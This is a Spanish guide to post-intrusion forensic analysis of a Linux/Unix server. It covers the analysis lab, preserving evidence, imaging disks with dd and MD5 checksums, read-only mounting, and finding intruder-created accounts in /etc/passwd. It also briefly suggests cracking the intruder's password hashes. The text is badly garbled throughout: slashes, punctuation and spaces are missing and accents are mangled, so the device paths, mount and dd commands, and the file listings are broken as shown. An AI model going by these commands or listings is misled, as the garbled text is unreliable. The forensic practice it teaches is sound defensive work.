Tener el cuaderno con las notas a mano puede ser necesario para refrescar la memoria varios meses despueacutes de lainvestigacioacuten cuando llegue la hora de testificar en una sala de juicio (si el caso llega a estos extremos)

Las notas tambieacuten ayudaraacuten a calcular de forma maacutes precisa las peacuterdidas sufridas por la empresa evitando estimacionesexageradas que suelen producirse durante los casos criminales por parte de empresas afectadas abogados e otrosterceros

15 Equipo Necesario

4

Aunque existan distribuciones de Linux que incorporan directamente utilidades forenses en su instalacioacuten se utilizoacute ladistro que no las incorporaba ya que la instalacioacuten de estas herramientas por defecto a veces causa problemas Mientrasque si se utiliza cualquier distro como RedHat Debian el analista puede configurar el software seguacuten sus preferencias

Referente a las teacutecnicas de anaacutelisis forense descritas a continuacioacuten asumo que utiliza un sistema operativo RedHatLinux i386 sobre cualquier placa madre compatible con Intel Estas teacutecnicas son casi ideacutenticas para cualquierade las versiones o distribuciones de GNULinux oacute Unix pero algunas caracteriacutesticas de i386 pueden variar de unservidor a otro (ejemplo utilizacioacuten de controladores IDE limitaciones de PC BIOS etc) Consulte manuales deadministracioacuten y seguridad de sistema de su distribucioacuten de GNULinux

Equipo Principal - Es preciso tener un sistema dedicado propio para poder hacer el anaacutelisis sin tener interrupcionespor procesos de otros usuarios ni estar vulnerable a los ataques de limpieza [2] Un ejemplo de configuracioacuten de unlaboratorio forense puede ser siguiente

bull Un equipo con una placa compatible i386 con 2 tarjetas controladoras IDE

bull Por lo menos 2 discos duros gt 8Gb sobre el controlador IDE principal (para almacenar el sistema operativoy herramientas maacutes espacio para poder copiar las particiones salvadas desde la cinta y espacio adicional pararecuperar la informacioacuten borrada desde discos duros)

bull Un segundo controlador IDE sin utilizar Eso significa que no deberaacute mezclarse con modificacioacuten de configu-raciones de hardware de los discos Simplemente enchufelos y apareceraacuten como devhdc (master) oacute devhdd(slave)

bull Tarjeta de interfaz SCSI (eg Adaptec 1542)

bull Dispositivos de cinta DDS-3 oacute DDS-4 4mm (se necesita bastante capacidad para almacenar informacioacuten de lasparticiones grandes)

bull Si el sistema estaacute conectado a una red deberaacute ser perfectamente parcheado y no tener ninguacuten servicio de redfuncionando salvo SSH (para acceso remoto y transferencia de ficheros) RedHat Linux 73 con Bastille Linux 20BETA es muy buena opcioacuten (Combinacioacuten utilizada en el lab de Activa Link)

5

Equipo Moacutevil - Otro sistema de anaacutelisis es un nuevo portaacutetil El buen meacutetodo de llevar el laboratorio hasta elsistema accidentado es un portaacutetil con tarjeta eth 10100 disco duro de maacutes de 18-20 Gb - suficiente espacioque permitiraacute almacenar toda la informacioacuten de imaacutegenes del sistema de ficheros (estas imaacutegenes deberiacutean luegoalmacenarse en cintas) para ser analizadas visualizar los resultados craquear las contrasentildeas crypt() del intruso quepuede posiblemente encontrar y una mochila

Un cable 10Base-T normal y uno cruzado permitiraacute conectarse con un hub switch o directamente al cadaacutever ytodaviacutea utilizar la red para comunicarse con el sistema viacutectima sobre una mini-red aislada de 2 estaciones de trabajoPara ello necesitaraacute establecer una ruta estaacutetica en la tabla de rutas o configurar reglas de bridging (seraacute maacutes faacutecil sise desconecta la maacutequina hackeada del resto de la red)

Un equipo de anaacutelisis funcionando bajo GNULinux seraacute suficiente para analizar sistemas de ficheros diferentes perosoportados como por ejemplo Sun UFS Se podraacute simplemente montar el sistema de fichero emitiendo el comandomount con la opcioacuten particular (ver paacutegina man del mount)

Ejemplo

[rootquestactivalinkcom] mount -r -t ufs -o ufstype=sun devhdd2 mnt

Otra ventaja de GNULinux para investigadores forenses es la capacidad del interfaz loopback que permite montarun fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estacioacuten de anaacutelisis(Ver el apeacutendice B para detalles)

2 Objetivos TaacutecticosEstrateacutegicosEl objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intrusocomprender los meacutetodos utilizados para acceder a estos sistemas los objetivos del intruso y la actividad que hadesempentildeado durante su estancia dentro del sistema comprometido La informacioacuten obtenida tiene que ser compartidacon el resto de los miembros del equipo forense a fin de evitar la peacuterdida de informacioacuten Tambieacuten es el objetivo delinvestigador la proteccioacuten del estado de sitio contra modificaciones para evitar peacuterdidas de informacioacuten (pruebas)

Posible persecucioacuten - es un objetivo secundario pero como he dicho anteriormente para un investigador forense sutrabajo primario es preservar lo maacutes iacutentegramente posible las evidencias del crimen en un estado iacutentegro Eso significaponer el sistema fuera de servicio cuando todo el mundo estaacute presionando para volver a ponerlo on-line

Si el sistema por parte del administrador fue forzado a seguir funcionando eliminando las posibles vulnerabilidadeso cualquier otra supuesta viacutea de acceso al servidor la investigacioacuten forense no podraacute seguir el rumbo correcto ya que

1Se eliminariacutea cualquier posibilidad de persecucioacuten del intruso en un futuro ya que se modifica la escena delcrimen y no se podriacutea calcular los dantildeos estimados con un grado elevado de certeza

6

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

